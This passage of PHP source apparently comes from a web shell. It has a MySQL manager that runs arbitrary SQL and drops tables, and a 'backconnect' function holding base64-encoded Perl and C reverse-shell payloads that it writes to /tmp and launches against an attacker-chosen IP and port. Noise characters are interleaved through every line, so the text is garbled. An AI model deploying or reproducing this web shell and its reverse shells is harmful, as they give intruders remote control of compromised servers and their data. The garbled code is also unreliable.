- m(q("UPDATE $tablename SET $valstr WHERE $where LIMIT 1") ? 'Record updating' : mysql_error());7 M9 Z8 A$ ^( V6 G7 l$ p9 @
- }
) ^ t; X! ]- t0 b - }2 D/ k) L' f/ K$ k/ L
- if ($doing == 'del' && $base64) {0 ^ y& y* h" J
- $where = base64_decode($base64);# _: a8 u5 H! T8 u
- $delete_sql = "DELETE FROM $tablename WHERE $where";: U3 G7 \7 J5 ]
- dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);' L6 p, R N1 s2 O k% e
- m(q("DELETE FROM $tablename WHERE $where") ? 'Deletion record of success' : mysql_error());, ^' m" O* _# y2 c
- }
5 }! _' L R9 k8 E- p% o% b* z - 4 q, W; @+ F7 V3 h) W
- if ($tablename && $doing == 'drop') {/ a, R+ E3 p0 I" \ n; ^. M
- dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
% N) Y$ \+ j+ W- M! b" s - if (q("DROP TABLE $tablename")) {
8 V9 k8 j4 x. b N5 A; P - m('Drop table of success');" B" e ?7 T2 w t& e
- $tablename = '';
/ z( O" h5 o/ N$ R- b - } else {
: w( w) a2 O' O( M( Q& Y& ~4 c$ { - m(mysql_error());
$ A4 l- F2 C2 K% l5 P, L- p. i - }
# n' p6 l* X; A1 H+ U' ? - }
/ \5 H! g# p! d k/ c& d7 m# J -
: x: f2 b# ~* V9 C) p - $charsets = array(''=>'Default','gbk'=>'GBK', 'big5'=>'Big5', 'utf8'=>'UTF-8', 'latin1'=>'Latin1');
4 l* ?1 Q' ~: S5 w1 ^ - # D3 [7 o* E" K# M) P3 _
- formhead(array('title'=>'MYSQL Manager'));! a2 p1 H* Z$ v1 N* g/ s
- makehide('action','sqladmin');
& z* O- ^0 d" C. }8 b - p('<p>');' ?; z/ M7 J- s9 }8 a) \
- p('DBHost:');
4 n, E& Q- {% B* q - makeinput(array('name'=>'dbhost','size'=>20,'value'=>$dbhost));2 z7 _% S! Z2 X1 Y; ~
- p(':');+ \9 d8 Y1 k" s& }- U* j1 X- [! a
- makeinput(array('name'=>'dbport','size'=>4,'value'=>$dbport));! M% { o. y. W* I' ^- r/ e
- p('DBUser:');) Z% X A' }$ i _
- makeinput(array('name'=>'dbuser','size'=>15,'value'=>$dbuser));/ T! z6 W1 R! f# r, U6 h. H
- p('DBPass:');
0 B0 D. r& H* G& t( h% P - makeinput(array('name'=>'dbpass','size'=>15,'value'=>$dbpass));
0 q; T4 a% S. z6 l6 ^9 k# H8 b - p('DBCharset:');$ }6 O d- G8 R
- makeselect(array('name'=>'charset','option'=>$charsets,'selected'=>$charset));
* }8 e9 Z( i$ w$ A. E - makeinput(array('name'=>'connect','value'=>'Connect','type'=>'submit','class'=>'bt'));, F3 u1 @3 |+ w/ H
- p('</p>');7 b1 I9 l. u# g1 R/ n0 \2 u
- formfoot();% U& L+ U) ? B5 a/ a# \ {2 X
- ?>: P& S8 p( L. [2 g
- <script type="text/javascript">1 g; w/ s: n" H) ^" e; V
- function editrecord(action, base64, tablename){3 g) v7 E7 h+ S" M& @# H# I
- if (action == 'del') {
9 s5 o4 p3 w H/ I. R3 U1 Z' ` - if (!confirm('Is or isn\'t deletion record?')) return;
; C, ~! I# q6 v# J6 Q/ N - }
, T# A, S: T" t ?8 @- I - $('recordlist').doing.value=action;' q+ C: q8 B/ _ r6 B
- $('recordlist').base64.value=base64;& o* }, H4 v. x- m2 `7 P$ u B
- $('recordlist').tablename.value=tablename;
: h9 Q& _" F6 `* B9 V( c - $('recordlist').submit();7 h1 A; R1 f5 y, ^
- }
- v+ B& L- ]+ U! O - function moddbname(dbname) {
8 J+ e) s: E% r8 c8 {& O3 r) C3 ^ - if(!dbname) return;# E5 T) U) ?/ \# r% h# ?
- $('setdbname').dbname.value=dbname;
8 O. A3 @' G1 B7 C, l; L- M" n j2 y - $('setdbname').submit();
, x8 W3 I' o. U4 w" U% J - }
z% O7 E! B8 | j6 F2 L - function settable(tablename,doing,page) {
+ z4 i- w) \. z4 g& s - if(!tablename) return;
, U; h: e; ^9 U8 w B n - if (doing) {
7 q! j- V& N7 m# Z2 t/ i* a1 F2 Q - $('settable').doing.value=doing;* g' b' t: {1 D8 K
- }, d! M" b$ Q* o+ }
- if (page) {, g2 @/ j+ e; E# A6 X! l# D& J( Z! I
- $('settable').page.value=page;5 Q" f9 I) x1 P: R& }; k
- }; r- I6 W& ]- [$ X; e! G: {
- $('settable').tablename.value=tablename;
$ l5 I6 G! n2 R5 @' ?, W - $('settable').submit();
0 k! G w" g, Q% q0 Y, V. ~ - }
; p! T W! E* V3 ~% G) `7 n. E9 } - </script>
* J" _$ |9 Y9 A4 ~+ o - <?php( V6 q" B, M5 e5 P. i1 Z
- //操作记录( z% x8 W1 W! D8 H
- formhead(array('name'=>'recordlist'));
/ S9 _2 a$ t/ C; [5 n& N - makehide('doing');
# ~; C* ^0 A( a - makehide('action','sqladmin');
% Z0 h' p$ K r0 Z0 `8 K1 y - makehide('base64');
7 [' I7 B' }! n6 J: y1 K7 V - makehide('tablename');
6 H0 [8 l2 K+ t/ G) { - p($dbform);
& X* {* Z, }3 Y( |+ y% f3 S - formfoot();
- q$ Q. N" l0 Z6 p* y - //选定数据库
- E: A; ^4 \' {" p - formhead(array('name'=>'setdbname'));! ]; E8 q$ D) K/ `1 [
- makehide('action','sqladmin');" i$ y/ I4 G! I' K
- p($dbform);
4 R7 W, I5 d. k( a - if (!$dbname) {# e) y: E0 Y4 d. G/ n
- makehide('dbname');
* Y1 r4 a5 `2 s6 s% @3 j! U5 ? - }
: v. Z( w9 G1 W+ v - formfoot();
$ i6 E: ?0 c/ U - //选定表1 C/ x8 V; V( ?2 W1 Q
- formhead(array('name'=>'settable'));4 A$ |! U" W5 H( W1 m
- makehide('action','sqladmin');9 F6 {+ V$ c. c+ v
- p($dbform);
4 |# x. q4 M, Y$ } - makehide('tablename');
+ g" R( L8 H. _% G0 ? - makehide('page',$page);- G. J/ X5 Y1 T
- makehide('doing');
/ I- m; g7 o. G% ]5 i1 i: }, }2 ^ - formfoot();
1 @' h5 K9 ?5 {1 k/ s - $cachetables = array(); / q; |/ u7 P" [
- $pagenum = 30;
/ T$ N) y6 \8 p4 r# T1 ?! r - $page = intval($page);# n3 X9 f: p5 b2 b
- if($page) {; C1 ], z% o- I9 C
- $start_limit = ($page - 1) * $pagenum; C) |! E! b S* C& ^
- } else {9 G$ i0 a& B z# q( i. q' l9 s6 @. ^6 o
- $start_limit = 0;
( @$ `$ @ Z4 s3 G# j/ U - $page = 1;
7 C) i5 F5 L/ f* D x( R! [ t: L0 ] - }
- c# \1 G2 G6 U* e% c - if (isset($dbhost) && isset($dbuser) && isset($dbpass) && isset($connect)) {
: G6 Z7 A+ }/ n! F8 K - dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
# P6 N8 U5 n/ m) ]0 {, Y - //获取数据库信息
! T0 [# s! `: m9 O2 r - $mysqlver = mysql_get_server_info();
" E. U* f! R, @* b; k9 k - p('<p>MySQL '.$mysqlver.' running in '.$dbhost.' as '.$dbuser.'@'.$dbhost.'</p>');
. ~: _: y$ x1 J, W q& F( D - $highver = $mysqlver > '4.1' ? 1 : 0;
# Q4 g( G2 |0 f2 C- y - //获取数据库
0 Y; }8 B+ ^$ c: b8 q; A) h - $query = q("SHOW DATABASES");" O& y. X9 q. Y: ?3 H s6 p) n
- $dbs = array();
' o" {2 P s6 H7 H9 n/ ]% j+ F - $dbs[] = '-- Select a database --';
. r4 f8 `- c7 \8 r; l - while($db = mysql_fetch_array($query)) {
- ^9 L; R) Z" Q* n3 D# o - $dbs[$db['Database']] = $db['Database'];8 e. Z0 _/ Z+ E1 \
- }5 O# T$ F9 I- T8 ?, s- r
- makeselect(array('title'=>'Please select a database:','name'=>'db[]','option'=>$dbs,'selected'=>$dbname,'onchange'=>'moddbname(this.options[this.selectedIndex].value)','newline'=>1));' t( }: `- m. G4 ]- T" w0 A" q
- $tabledb = array();, [0 u6 `3 n! |5 @/ z3 W
- if ($dbname) {
* @3 O u# o% I, m' M B - p('<p>');
7 U! e$ q: T. e' z& H& \, S - p('Current dababase: <a href="javascript:moddbname(\''.$dbname.'\');">'.$dbname.'</a>');4 d5 M4 e- }- }3 X
- if ($tablename) {
8 V+ A3 j1 z( P S# {. k - p(' | Current Table: <a href="javascript:settable(\''.$tablename.'\');">'.$tablename.'</a> [ <a href="javascript:settable(\''.$tablename.'\', \'insert\');">Insert</a> | <a href="javascript:settable(\''.$tablename.'\', \'structure\');">Structure</a> | <a href="javascript:settable(\''.$tablename.'\', \'drop\');">Drop</a> ]');
; }! @) |: b a4 ]( O! O - }7 @7 J% U, `2 T+ d3 O: L" D
- p('</p>');7 {6 _) r# O$ E* _) `0 s! [3 B9 Y$ g
- mysql_select_db($dbname);
% a* S6 b2 n! \9 u7 T- |; C - $getnumsql = '';
1 n9 W$ e% _$ \5 F+ A! W' | - $runquery = 0;5 g0 m' G, {8 U- Y" W
- if ($sql_query) {
7 h: q5 u: E' S' b - $runquery = 1;: J. G0 ^- {/ q8 j! S& Q
- }
) B/ Y9 O( B4 | - $allowedit = 0;
9 s* o6 C1 t& Y. O - if ($tablename && !$sql_query) {. H: Y( e+ B% m5 \3 K) c
- $sql_query = "SELECT * FROM $tablename";/ X+ D9 O$ G$ B# G+ [) o7 k
- $getnumsql = $sql_query;
* o% S- B8 g% Z! i. C - $sql_query = $sql_query." LIMIT $start_limit, $pagenum";% Z3 | \& M' E. j
- $allowedit = 1;
1 Y8 d9 ]2 |. U q4 u- w. a - }
7 o5 k8 G) F: T \1 K% a' ] - p('<form action="'.$self.'" method="POST">');
1 a! z' R6 Q" f - p('<p><table width="200" border="0" cellpadding="0" cellspacing="0"><tr><td colspan="2">Run SQL query/queries on database '.$dbname.':</td></tr><tr><td><textarea name="sql_query" class="area" style="width:600px;height:50px;overflow:auto;">'.htmlspecialchars($sql_query,ENT_QUOTES).'</textarea></td><td style="padding:0 5px;"><input class="bt" style="height:50px;" name="submit" type="submit" value="Query" /></td></tr></table></p>');
. ^2 O x( i% x& X - makehide('tablename', $tablename);$ s7 n5 }! j: G' [. G" \; b& L. C) N
- makehide('action','sqladmin');
) ^' [3 H, D" B6 i4 e/ W# P - p($dbform);$ E+ n) n# j0 `" Z" b
- p('</form>');2 w. v- e' {5 }4 X; E6 [0 v
- if ($tablename || ($runquery && $sql_query)) {$ ]1 ?1 x; M" M$ v2 p& I6 p# \
- if ($doing == 'structure') {
4 [% _4 y( |5 X0 U- n% r - $result = q("SHOW COLUMNS FROM $tablename");: p) H. J; y9 f/ y4 L% g
- $rowdb = array();
+ V2 [1 _) t% Q# y, N - while($row = mysql_fetch_array($result)) {2 ~. w0 j' _' n' B& |( V, A
- $rowdb[] = $row;
6 v+ M1 k/ B: C; j, u3 u( ~ - }: W7 v6 t5 b4 T) G! M
- p('<table border="0" cellpadding="3" cellspacing="0">');6 R/ R4 Q6 F1 d9 W. c
- p('<tr class="head">');
4 E* h! ~$ {' K- O& t. d$ C - p('<td>Field</td>');
8 j2 R: [; M: v- M' @' T - p('<td>Type</td>');% I8 n6 z+ g; J r% V N/ I
- p('<td>Null</td>');* q# ^8 S. n7 K+ S
- p('<td>Key</td>');
7 m* e2 L5 w& x/ P - p('<td>Default</td>');& h/ Q, t+ k4 I9 O0 t8 `9 X5 o
- p('<td>Extra</td>');& I4 r4 G8 C9 m- O) M! d$ a, X$ G% T
- p('</tr>');
. G( @& W z5 u) O; x5 t! A - foreach ($rowdb as $row) {
& u. p' G0 j) \% s - $thisbg = bg();$ q! ]) A' f2 o- S# _- L
- p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');0 Y& A9 _$ w; U6 [6 `' n
- p('<td>'.$row['Field'].'</td>');4 [% a- V' w" D& ?/ m
- p('<td>'.$row['Type'].'</td>'); c' G, J1 I1 T5 x6 x: E0 o
- p('<td>'.$row['Null'].' </td>');
4 s0 I2 ?$ Z }$ U - p('<td>'.$row['Key'].' </td>');# a1 x( A7 f: {- Y, Z$ l4 q
- p('<td>'.$row['Default'].' </td>');
4 v2 p" `2 x& W# {; B1 o. r - p('<td>'.$row['Extra'].' </td>');
: y) t5 I4 J0 E: T - p('</tr>');
- x+ S4 k2 Z, h0 R! e1 ^ - }
$ F# n3 h& m* |6 c; } - tbfoot();( _9 N) Y. r" I- K! h: N' z
- } elseif ($doing == 'insert' || $doing == 'edit') {
' m _% L/ k- s - $result = q('SHOW COLUMNS FROM '.$tablename);5 N/ o4 i" j' \% y2 z" e& y! w
- while ($row = mysql_fetch_array($result)) {
6 O# R/ ^+ v) H! N8 N% v8 ] - $rowdb[] = $row;6 A" ?, ~, w& L& Q \- w9 v$ b% z# x3 Z
- }2 H. h3 B9 T0 U2 W2 O
- $rs = array();
0 f3 b6 b3 V" q4 R7 ?7 z - if ($doing == 'insert') {: b6 S3 G% G, Q8 P; C( q
- p('<h2>Insert new line in '.$tablename.' table »</h2>');
) a$ A4 c1 p# Y P - } else {: w: D# X, ]' h" ~
- p('<h2>Update record in '.$tablename.' table »</h2>');
# S5 M/ W( o. ^5 [8 D - $where = base64_decode($base64);* c# \6 \2 C& V$ ~5 |
- $result = q("SELECT * FROM $tablename WHERE $where LIMIT 1");' a- h- J, S! ?1 k
- $rs = mysql_fetch_array($result);
% A, p+ o' a1 V+ |" q( h" U - }
. L) P1 d: d2 _( }6 D* U - p('<form method="post" action="'.$self.'">');
$ k7 [! P( C. l - p($dbform);
7 z9 ?) \' s: M% _" a5 |# J0 f - makehide('action','sqladmin');
1 j, } p$ S" N% O* E E - makehide('tablename',$tablename);3 N6 Q( P- W) u+ D. s% v0 z
- p('<table border="0" cellpadding="3" cellspacing="0">');
/ ?. A8 P# ^/ x0 l! Y' O; X - foreach ($rowdb as $row) {* A2 G }8 z2 m b" Q- i8 m
- if ($rs[$row['Field']]) {
9 f' {* G4 O% L3 f8 V( V1 r& p( d5 u - $value = htmlspecialchars($rs[$row['Field']]);/ }5 i: }1 E! R4 D ~: I/ |
- } else {$ q" v8 c! S; N4 y
- $value = '';7 c4 [4 X6 G6 P4 l- i. _6 V% J
- }4 r( p, F! V5 g+ v- N
- $thisbg = bg();
$ U6 `) i/ ~7 c% M/ E& S - p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
& A+ u# x3 E# P' y. S. k5 A - p('<td><b>'.$row['Field'].'</b><br />'.$row['Type'].'</td><td><textarea class="area" name="insertsql['.$row['Field'].']" style="width:500px;height:60px;overflow:auto;">'.$value.'</textarea></td></tr>');
6 G$ x C( ]* T" { - }4 o6 ?% \! |9 b0 S
- if ($doing == 'insert') {% ~2 |. G Y. o: B2 Q
- p('<tr class="'.bg().'"><td colspan="2"><input class="bt" type="submit" name="insert" value="Insert" /></td></tr>');
4 T9 u: R3 x. N& _& m - } else {0 a T2 W7 e7 K% o+ ~
- p('<tr class="'.bg().'"><td colspan="2"><input class="bt" type="submit" name="update" value="Update" /></td></tr>');' S" F# y# q# |/ W& o
- makehide('base64', $base64);5 e0 C( t3 l' M% Z' C
- }
; s% |2 D# C7 r8 c' p - p('</table></form>');
! \5 Z5 ?& w$ K, H5 I - } else {; B+ R& d& _7 v
- $querys = @explode(';',$sql_query);
O' r8 [5 z6 ~: |; _% M1 A8 I& o - foreach($querys as $num=>$query) {
8 R* J6 p9 W- {: O6 Z - if ($query) {
8 k1 _( J# K. u) }3 c" F - p("<p><b>Query#{$num} : ".htmlspecialchars($query,ENT_QUOTES)."</b></p>");
- P3 K5 r e& P C - switch(qy($query)); _2 {% d* ^- B2 Q1 i
- {1 S, d$ ~$ |( p3 M) v* y* A+ Y
- case 0:1 ` P3 \2 S* b. _* A7 _6 Z+ M
- p('<h2>Error : '.mysql_error().'</h2>');
0 ~, K& Z' y+ j4 I - break; : {8 R! J8 q! q( _# Q# @
- case 1:2 z+ C e2 s1 b6 m& A1 U1 d$ k
- if (strtolower(substr($query,0,13)) == 'select * from') {# x+ n# H% d- k6 P
- $allowedit = 1; x! e* t/ v( i8 } D/ ]
- }
6 t4 ^* A k3 [3 ~8 G - if ($getnumsql) {
3 ]/ Y8 F" a" y - $tatol = mysql_num_rows(q($getnumsql));
7 T+ J& g# h, u* t4 `) o3 _ ?4 X. M - $multipage = multi($tatol, $pagenum, $page, $tablename);0 B# D' M# o+ r7 s$ h; f) d
- }
/ j' l2 R+ @4 M/ r1 A' E - if (!$tablename) {
2 c! D8 t) Y& Y8 \$ K - $sql_line = str_replace(array("\r", "\n", "\t"), array(' ', ' ', ' '), trim(htmlspecialchars($query)));
& K8 k/ G( y# `: s: }5 }% d* h4 e2 A% h - $sql_line = preg_replace("/\/\*[^(\*\/)]*\*\//i", " ", $sql_line);+ n! e. S" g- h0 s: N, Q9 D; V
- preg_match_all("/from\s+`{0,1}([\w]+)`{0,1}\s+/i",$sql_line,$matches);$ \- J9 {& \& T
- $tablename = $matches[1][0];
5 }' f v* p# r6 c8 a5 o0 i( Q - }
7 G7 g" X- D, p- i9 }3 y - $result = q($query);6 a0 \/ J0 T, f
- p($multipage);
Q5 h0 q: c2 {1 x( t; C - p('<table border="0" cellpadding="3" cellspacing="0">');
|) |$ [9 M% s" P - p('<tr class="head">');
8 p- ?1 U8 e, r) h- U! R - if ($allowedit) p('<td>Action</td>');
8 J- E8 |$ w" x; w: ?" E - $fieldnum = @mysql_num_fields($result);
. L6 q1 Z/ G6 I! L/ j0 b - for($i=0;$i<$fieldnum;$i++){
1 j8 o' M9 u. D" @% |! [) b6 m" w/ M - $name = @mysql_field_name($result, $i);' R) d6 v; A' v6 E( U
- $type = @mysql_field_type($result, $i);
9 f5 l! C7 C2 o! u/ `) q - $len = @mysql_field_len($result, $i);9 Q' c; g" ?) k+ `) r0 L2 x2 B; s
- p("<td nowrap>$name<br><span>$type($len)</span></td>");
! @5 J+ c; u- ^( Z! @ - }# R5 O5 r2 _; T7 S: |/ C* k
- p('</tr>');
! |( D, _ {6 m% e - while($mn = @mysql_fetch_assoc($result)){
' q J9 V5 z* S, t - $thisbg = bg();1 R+ |. }, U' y3 Z
- p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');- v, c6 |8 C I6 B! W; ~
- $where = $tmp = $b1 = '';
% e2 o5 t8 j+ O/ E, o - foreach($mn as $key=>$inside){
- T G. L# c" b: Y. P w* J - if ($inside) {
" l3 { b% m$ N9 q3 m* A2 g6 n - $where .= $tmp.$key."='".addslashes($inside)."'";' j; [; E, ?( Q0 a
- $tmp = ' AND ';
: l/ N$ M* Q) ~& x! z - }
* h; x) B( h; }8 Z7 I8 o: q' D - $b1 .= '<td nowrap>'.html_clean($inside).' </td>';. K* z$ q1 i: w8 r. Z; R. |9 {3 f
- }1 Q: S# L# L, b8 {* b
- $where = base64_encode($where);
0 O8 g! R7 q# x/ v+ u - if ($allowedit) p('<td nowrap><a href="javascript:editrecord(\'edit\', \''.$where.'\', \''.$tablename.'\');">Edit</a> | <a href="javascript:editrecord(\'del\', \''.$where.'\', \''.$tablename.'\');">Del</a></td>');4 e1 C0 a( F9 u8 m
- p($b1);
; Z; B2 |( R& e P2 D2 D) U$ m/ N7 O - p('</tr>');& G7 n( t! L( {( z7 ]
- unset($b1);
# [* n N1 D8 S: u W - }3 ^1 Y( V5 s; Q0 X; \
- tbfoot();9 G; R- W. i) N/ K [
- p($multipage);. F/ _9 i& [' ^" E+ T* \
- break;
5 D( K5 R' S4 R- I/ I! u - case 2:% [3 `/ U# s! v4 Q9 F: \$ T
- $ar = mysql_affected_rows();
" [& A# ~/ q$ N - p('<h2>affected rows : <b>'.$ar.'</b></h2>');; ~8 E0 S& B, c( s- F
- break;: Y h. w2 _5 ]4 w' ^
- }
& G! K; r, x0 R8 j) ~/ m7 ^( `, _: u/ I - }
; ~3 `6 D- I* E9 ] - }, @8 h* l. J1 R+ R; S
- }
0 r. u# T5 @! b8 v' `+ o! p" i3 ^ - } else {
~. n; h5 W+ z$ e - $query = q("SHOW TABLE STATUS");( t; h3 |) ?0 P0 Y) ?4 o
- $table_num = $table_rows = $data_size = 0;+ H& O3 j% s# H
- $tabledb = array();7 b. k) e( R: \( q
- while($table = mysql_fetch_array($query)) {
* L. }1 z$ c3 I - $data_size = $data_size + $table['Data_length'];0 V; a- l. b$ e g
- $table_rows = $table_rows + $table['Rows'];. r2 e, D5 W0 \, b6 c9 _6 ~# ~
- $table['Data_length'] = sizecount($table['Data_length']);1 t' P0 j. s4 q5 }
- $table_num++;
9 T; Y! R% A# K$ a% c. M8 C$ w/ `) } - $tabledb[] = $table;
- C/ s, W* E/ e/ M. z - }$ T' Y7 Z# w) J8 N0 r
- $data_size = sizecount($data_size);
7 J" S& x; ^" T9 K5 |& o+ E - unset($table);
& u$ i( g1 n7 z3 r L$ ?3 t - p('<table border="0" cellpadding="0" cellspacing="0">');; L2 ^' y/ Q$ ^6 b. A3 s
- p('<form action="'.$self.'" method="POST">');
: ^: f" A. p7 z1 Z3 q - makehide('action','sqladmin');; `* j4 J: a7 K% l A e! \
- p($dbform);
! q1 V, Q5 y9 ~3 l5 A$ ]( K3 K) h - p('<tr class="head">');5 A0 d+ ^1 w) j$ ?$ [& ^7 ], l0 W
- p('<td width="2%" align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td>');
; v0 d; A% I9 E. x2 ^! {, f - p('<td>Name</td>');
$ h5 F- Z0 P: V8 Z" A3 f- b - p('<td>Rows</td>');
1 t7 Z. a; a% S0 r2 Q {/ M - p('<td>Data_length</td>');
, d0 f4 a* \6 T9 V- K* u! U, ]; N - p('<td>Create_time</td>');2 ]& p* ^# e1 }% S& I( U0 f
- p('<td>Update_time</td>');" |- y9 z8 C4 D4 n- p4 G. [: @) t
- if ($highver) {( ~5 M& O$ J- H' a* |
- p('<td>Engine</td>');' u9 b' U8 X! t3 Y; _, a( ?: f
- p('<td>Collation</td>');" \# c& Q9 @' Q- S2 L6 p" ^
- }7 N# W* J, a' L1 c. x4 ^* S! K' X( Q
- p('</tr>');
" B( x' \: v( b5 Z - foreach ($tabledb as $key => $table) {
/ _* l9 w0 H' K* c2 i# c - $thisbg = bg();+ h% q+ M4 Z& ^* K+ P; g
- p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');- T c& O0 E. c4 L
- p('<td align="center" width="2%"><input type="checkbox" name="table[]" value="'.$table['Name'].'" /></td>');. `3 v# J' M7 ?2 [; ~1 \
- p('<td><a href="javascript:settable(\''.$table['Name'].'\');">'.$table['Name'].'</a> [ <a href="javascript:settable(\''.$table['Name'].'\', \'insert\');">Insert</a> | <a href="javascript:settable(\''.$table['Name'].'\', \'structure\');">Structure</a> | <a href="javascript:settable(\''.$table['Name'].'\', \'drop\');">Drop</a> ]</td>');
3 } E3 b) _+ j5 h - p('<td>'.$table['Rows'].'</td>');
- M9 J# B$ o- \) Q - p('<td>'.$table['Data_length'].'</td>');4 a8 G* N* }: K' W% S' V U. s( f" S2 _
- p('<td>'.$table['Create_time'].'</td>');+ @) J7 v2 i6 d2 v- e) S+ [
- p('<td>'.$table['Update_time'].'</td>');
+ g3 x3 \1 l2 n - if ($highver) {
7 \6 _- C+ K& C/ L - p('<td>'.$table['Engine'].'</td>');
1 l0 K% z1 _; q7 Z% p9 H - p('<td>'.$table['Collation'].'</td>');. O3 F, D2 f7 W3 Q+ f; b
- }
7 X6 y7 Y' t ~, q- x: M3 c - p('</tr>');* J1 Z7 }4 e# g: v; z- [) _
- }: u$ l( o/ z- i6 r" y
- p('<tr class='.bg().'>');
* K' R# o1 i3 h& b - p('<td> </td>');9 T/ q( K1 V* B* M9 W. s# r
- p('<td>Total tables: '.$table_num.'</td>');
( W8 M, O1 E8 u# f0 {; H3 ]' A+ z - p('<td>'.$table_rows.'</td>');7 v# [1 k( U# S# h# \$ u
- p('<td>'.$data_size.'</td>');
: E- X# L3 m& L; v) r - p('<td colspan="'.($highver ? 4 : 2).'"> </td>');, z, z7 e$ w9 _' O0 p) L; V
- p('</tr>');3 O5 F- H- A$ h) a2 \! I+ D
- p("<tr class="".bg().""><td colspan="".($highver ? 8 : 6).""><input name="saveasfile" value="1" type="checkbox" /> Save as file <input class="input" name="path" value="".SA_ROOT.$_SERVER['HTTP_HOST']."_MySQL.sql" type="text" size="60" /> <input class="bt" type="submit" name="downrar" value="Export selection table" /></td></tr>"); n% u* [- e* p- Y; }
- makehide('doing','backupmysql');
7 ~8 f6 o" `8 Z% v7 }+ T% c& [ - formfoot();
$ `9 L( w1 G C4 f; S6 Z8 D" j - p("</table>");9 H0 Q- d. ^* K) A F( i
- fr($query);8 _0 `) b6 k( z* @! Q5 D- s
- }) t1 a8 ^9 s5 O/ X' C
- }& ?0 t6 z- k9 D& J
- }
( a# i, j" `* N. O% s6 z: W( C - tbfoot();6 j3 P3 q0 S4 u% y7 @
- @mysql_close();1 c: Q8 w' D" y
- }//end sql backup
* D; Z. g0 o& D% k - elseif ($action == 'backconnect') {9 A: O1 r+ V m9 n
- !$yourip && $yourip = $_SERVER['REMOTE_ADDR'];! W/ _$ y8 O* Y
- !$yourport && $yourport = '12345';
3 m: G8 W, t9 y/ f - $usedb = array('perl'=>'perl','c'=>'c');2 m* `" T0 ?6 L5 F5 i0 k( s' E# I
- $back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".
4 p9 n; l% l' q3 T/ p6 @7 i - "aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".5 M$ |" W* Z% y# \: E& m# O1 i
- "hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".7 _# o' ~/ Y) L) h) C
- "sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".
/ w2 Z. X6 y7 C2 `# N' | - "kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".
/ n9 R- M I) D+ d* V' ]& x - "KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".5 \$ b k( K1 p8 Y# C8 J: Z; T
- "OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";2 U: _. t1 R- g6 I9 n ]
- $back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC"./ k4 u6 E) ~/ M5 n9 p
- "BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb".
/ Y/ m* e" F+ x9 B2 R; R3 r" D - "SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd".
8 Q& H1 c4 H5 u& f - "KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ"., W. U, b6 |$ z V, H2 `: c% ~
- "sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC".+ A# {' A5 @" B
- "Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D"., e; Y) @0 K4 M( h3 ?; c4 N
- "QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp".
0 j5 D% C, i0 l/ Z - "Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ==";" r2 @* T% l9 A/ A. t$ U
- if ($start && $yourip && $yourport && $use){. y) f9 t$ @9 q! M
- if ($use == 'perl') {1 C5 o0 _7 N8 s) p/ J' N) n, h
- cf('/tmp/angel_bc',$back_connect);
4 ~3 C1 m0 R* X) p3 Z - $res = execute(which('perl')." /tmp/angel_bc $yourip $yourport &");, X( P4 O! X, R
- } else {
. u% D, h3 o# p! N, @+ L: d2 c - cf('/tmp/angel_bc.c',$back_connect_c);, E) J5 Z9 W" N
